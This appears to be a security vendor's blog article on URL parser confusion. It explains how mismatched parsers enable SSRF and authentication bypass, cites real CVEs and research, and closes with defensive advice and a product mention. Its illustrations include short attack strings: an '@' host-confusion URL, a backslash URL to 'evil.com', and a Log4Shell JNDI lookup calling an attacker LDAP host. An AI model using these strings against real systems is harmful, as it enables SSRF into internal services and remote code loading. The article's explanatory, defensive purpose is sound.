Safeguard
Application Security

URL parser confusion: how inconsistent parsing enables SSRF and auth bypass

Sixteen URL-parsing libraries tested, five inconsistency classes found, eight CVEs assigned — one wrong backslash can turn a validated URL into an SSRF.

Safeguard Research Team
Research
6 min read

At Black Hat USA 2017, researcher Orange Tsai presented "A New Era of SSRF — Exploiting URL Parser in Trending Programming Languages," showing that Python, PHP, Perl, Ruby, Java, JavaScript, Wget, and cURL each parsed the same malformed URL differently enough to bypass validation in real applications, including WordPress, vBulletin, MyBB, and GitHub. Four years later, Claroty's Team82 and Snyk jointly tested 16 URL-parsing libraries — including Node's url-parse and PHP's parse_url — and catalogued five distinct inconsistency classes, publishing findings that led to eight assigned CVEs ranging in impact from denial of service to information disclosure to, in some cases, remote code execution. The root cause in both cases is the same: there is no single URL spec. The WHATWG URL Standard, RFC 3986, and a long tail of bespoke regex-based parsers all disagree at the edges on what a scheme, an authority, or a path actually is. When one component of a system validates a URL using parser A and a different component fetches it using parser B, an attacker only needs a string both parsers read differently. This piece breaks down how that mismatch happens, what it enables, and how to close it.

What actually causes URL parser confusion?

URL parser confusion happens because no two parsers agree on how to handle ambiguous syntax, and most applications never guarantee that the parser doing validation is the same one doing the request. RFC 3986 defines the URI grammar, but real-world parsers diverge on backslashes, missing slashes, unusual scheme names, and userinfo fields long before that grammar gets tested. Team82 and Snyk's research grouped the divergence into five categories: scheme confusion (is javascript:alert(1) a scheme or not?), slashes confusion (does http:/example.com with one slash still count as absolute?), backslash confusion (does \ behave like /?), URL-encoded-data confusion (does %2e%2e decode before or after routing decisions?), and scheme mixup between similarly-named protocols. Each class alone looks cosmetic. Combined with a security check written against one parser's behavior and a fetch written against another's, each becomes an exploit primitive.

How does this become an SSRF bypass?

It becomes SSRF when an allowlist check parses a URL one way and the HTTP client that ultimately dispatches the request parses it another way, so the string that passes validation is not the string that gets fetched. A common pattern: an application splits a URL on @ to check the hostname, sees something like https://trusted.com@evil.com/ and reads trusted.com as the host, while the actual HTTP client treats everything before @ as userinfo and connects to evil.com. Backslash confusion works the same way — a validator that only recognizes / as a path separator can be walked around with http:\\evil.com, which some parsers normalize into a valid absolute URL despite looking like a relative path to others. Orange Tsai's Black Hat research demonstrated exactly this pattern against production SSRF filters, using parser-specific quirks to reach internal metadata endpoints and internal-only services that the allowlist was explicitly designed to block.

Is this only a theoretical, research-lab problem?

No — it produced real, numbered CVEs, not just conference slides. CVE-2021-27515 affected the npm package url-parse before version 1.5.0: backslash sequences such as http:\/ were mishandled and misinterpreted as a relative path rather than an absolute URL to a different origin, a textbook backslash-confusion bug documented in the GitHub Security Advisory GHSA-9m6j-fcg5-2442 and tracked in NVD. Separately, a HackerOne report (#1049624), "Abusing URL Parsers by long schema name," documented a related class of curl parsing inconsistency triggered by unusually long scheme strings. These aren't hypothetical constructs from a slide deck — they're bugs filed against widely-depended-on libraries that thousands of applications pulled in transitively, often without anyone auditing how the URL-parsing dependency itself behaved on malformed input.

Can parser confusion enable authentication bypass, not just SSRF?

Yes, because the same ambiguity that misdirects an outbound fetch can also misdirect an inbound access-control decision. If a reverse proxy or API gateway parses a path using one library to decide whether a route requires authentication, and the backend application parses the same raw request path with a different library to route it, an attacker can craft a path that the gateway reads as a public, unauthenticated resource while the backend reads it as a protected admin endpoint. Encoded slashes, trailing dots, and path segments mixed with backslashes are the recurring building blocks, mirroring Team82 and Snyk's URL-encoded-data confusion category. The practical lesson researchers draw from this pattern is that any system with two independent components parsing the same untrusted string — a proxy and an app, a validator and a fetcher — has a trust boundary sitting exactly at the point where those two parsers might disagree, whether the check is "is this URL safe to fetch" or "is this path safe to skip auth on."

Where does Log4Shell fit into this pattern?

Log4Shell (CVE-2021-44228, disclosed December 2021) is not a pure URL-parser-diff bug, but Claroty and Snyk's research cites it as a related illustration of the same trust-boundary failure: Log4j's JNDI lookup feature parsed attacker-controlled strings like ${jndi:ldap://evil.com/a} as URIs to resolve, and the ambiguity in how that URI was interpreted versus how downstream JNDI/LDAP clients handled it contributed to exploitability at massive scale — affecting an enormous share of Java applications overnight. It's a useful adjacent example precisely because it shows the underlying failure mode (a parser at one trust layer disagreeing with a parser or interpreter at another) isn't confined to http:// URLs or SSRF filters specifically; it recurs anywhere a system treats a string as inert input in one place and as a resolvable locator in another.

How should teams actually defend against this?

Validate and fetch using the exact same parser and library, end to end, rather than writing a custom regex check and handing the result to a separate HTTP client. Canonicalize before validating — resolve encoding, backslashes, and relative segments into one normalized form first, then check that form, instead of trying to pattern-match against every possible malformed variant an attacker could submit. Reject ambiguous input outright (stray backslashes, unencoded control characters, userinfo @ segments, mixed or unusual schemes) rather than attempting to "clean" it, since cleaning logic is itself another parser that can disagree with the one used downstream. And allowlist on the resolved host or IP address after DNS resolution, not on a raw string match against the URL text, since string-level allowlists are exactly what parser-confusion bugs are built to slip past. Keeping URL-parsing dependencies patched matters too — CVE-2021-27515 was fixed by upgrading url-parse, and Safeguard's software composition analysis flags known-vulnerable versions of URL-parsing libraries like this one across a dependency tree so teams aren't relying on a bespoke parser they never audited.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.